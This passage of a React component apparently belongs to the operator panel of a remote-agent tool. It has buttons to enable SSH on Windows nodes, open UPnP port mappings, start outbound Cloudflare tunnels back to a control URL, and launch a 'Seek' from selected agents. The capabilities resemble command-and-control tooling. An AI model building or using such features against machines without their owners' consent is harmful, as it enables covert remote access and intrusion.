          </div>
          <button
            type="button"
            className="button crucible-op-btn crucible-seek-launch"
            disabled={!hasSelection || (!seekWin && !seekMac)}
            onClick={launchSeek}
            title={!hasSelection ? 'Select at least one agent to seed from' : `Launch SUPP Seek on ${selectedCount} agent(s)`}
          >
            ◈ LAUNCH SEEK ({selectedCount} node{selectedCount !== 1 ? 's' : ''})
          </button>
        </CrucibleCollapsibleSection>
      </div>
    );
  }

  if (activeTab === 'tunnels') {
    return (
      <div className={panelClass}>
        <CrucibleCollapsibleSection label="SSH Access" className="cop-ssh" helpField="crucible_section_ssh" defaultOpen>
          <button type="button" className="button crucible-op-btn" disabled={!hasSelection} onClick={onProbeSSH} title="Probe port 22 on selected nodes">
            Probe SSH
          </button>
          <button type="button" className="button crucible-op-btn crucible-op-wake" disabled={!hasSelection} onClick={onWakeSSH} title="Install + start OpenSSH server on selected Windows nodes">
            ⚡ Wake SSH
          </button>
          <div className="crucible-ssh-notes">
            <div className="crucible-ssh-step">
              <span className="css-num">1</span>
              <div><strong>Probe</strong> — test if port 22 is open on the target machine.</div>
            </div>
            <div className="crucible-ssh-step">
              <span className="css-num">2</span>
              <div><strong>Wake SSH (Windows)</strong> — installs OpenSSH Server, starts the service, marks it auto-start. Requires admin agent.</div>
            </div>
            <div className="crucible-ssh-step">
              <span className="css-num">3</span>
              <div><strong>Connect directly</strong> — on the same LAN, <code className="crucible-code">ssh user@&lt;ip&gt;</code>. Node IP is on each roster card.</div>
            </div>
            <div className="crucible-ssh-step">
              <span className="css-num">4</span>
              <div><strong>Remote (via tunnel)</strong> — use Protocol Tunneling or <code className="crucible-code">tunnel_cloudflared</code> so the node dials out to your control URL.</div>
            </div>
          </div>
        </CrucibleCollapsibleSection>

        <CrucibleCollapsibleSection label="Tunnels & WAN IP" className="cop-network" helpField="crucible_section_tunnels" defaultOpen>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_status')} title={aggTitle('hole_punch_status')} onClick={() => aggBulk('hole_punch_status')}>
            WAN IP
          </button>
          <span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
            <button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch')} title={aggTitle('hole_punch') || "UPnP hole punch: map external port 8989"} onClick={() => aggBulk('hole_punch', { command: '8989', path: '8989' })}>
              Hole Punch
            </button>
            <HelpTip field="crucible_btn_hole_punch" />
          </span>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('hole_punch_close')} title={aggTitle('hole_punch_close')} onClick={() => aggBulk('hole_punch_close', { command: '8989' })}>
            Close UPnP
          </button>
          <div className="crucible-inline-row" style={{ width: '100%' }}>
            <input className="crucible-inline-input" placeholder="Cloudflare target URL (optional)" value={tunnelURL} onChange={(e) => setTunnelURL(e.target.value)} />
            <span style={{ display: 'inline-flex', alignItems: 'center', gap: '2px' }}>
              <button
                type="button"
                className="button crucible-op-btn"
                disabled={aggDisabled('tunnel_cloudflared')}
                title={aggTitle('tunnel_cloudflared') || 'Open outbound Cloudflare tunnel'}
                onClick={() => aggBulk('tunnel_cloudflared', { command: tunnelURL.trim() })}
              >
                Start Tunnel
              </button>
              <HelpTip field="crucible_btn_cf_tunnel" />
            </span>
          </div>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('tunnel_stop')} title={aggTitle('tunnel_stop') || 'Stop all outbound tunnels'} onClick={() => aggBulk('tunnel_stop', { command: 'all' }, 'Stop all tunnels on selected nodes?')}>
            Stop Tunnels
          </button>
          <button type="button" className="button crucible-op-btn" disabled={aggDisabled('mesh_status')} title={aggTitle('mesh_status')} onClick={() => aggBulk('mesh_status')}>
            Mesh Peers
          </button>
        </CrucibleCollapsibleSection>

        {singleSelectedAgent && (
          <CrucibleCollapsibleSection label="Protocol Tunneling" className="cop-ssh" helpField="crucible_section_protocol_tunnel" defaultOpen>
            <ProtocolTunnelPanel
              agentId={singleSelectedAgent.id}
              agentName={singleSelectedAgent.name}
              online={singleSelectedAgent.status === 'online'}
              caps={singleSelectedAgent.capabilities}
              platform={singleSelectedAgent.platform}
              compact
              lastTunnelStatusMessage={tunnelStatusMsg}
              busy={null}
              onDispatch={onDispatchTunnel}
            />
          </CrucibleCollapsibleSection>
        )}

        <CrucibleCollapsibleSection label="Port-Forward Matrix" className="cop-ssh" helpField="crucible_section_portfwd">
          <CruciblePortForwardMatrix selectedAgents={selectedAgents} onEcho={onEcho} onDispatch={(agent, action, args) => dispatchOne(agent, action, args)} />
        </CrucibleCollapsibleSection>
      </div>
    );
  }

  return null;
}
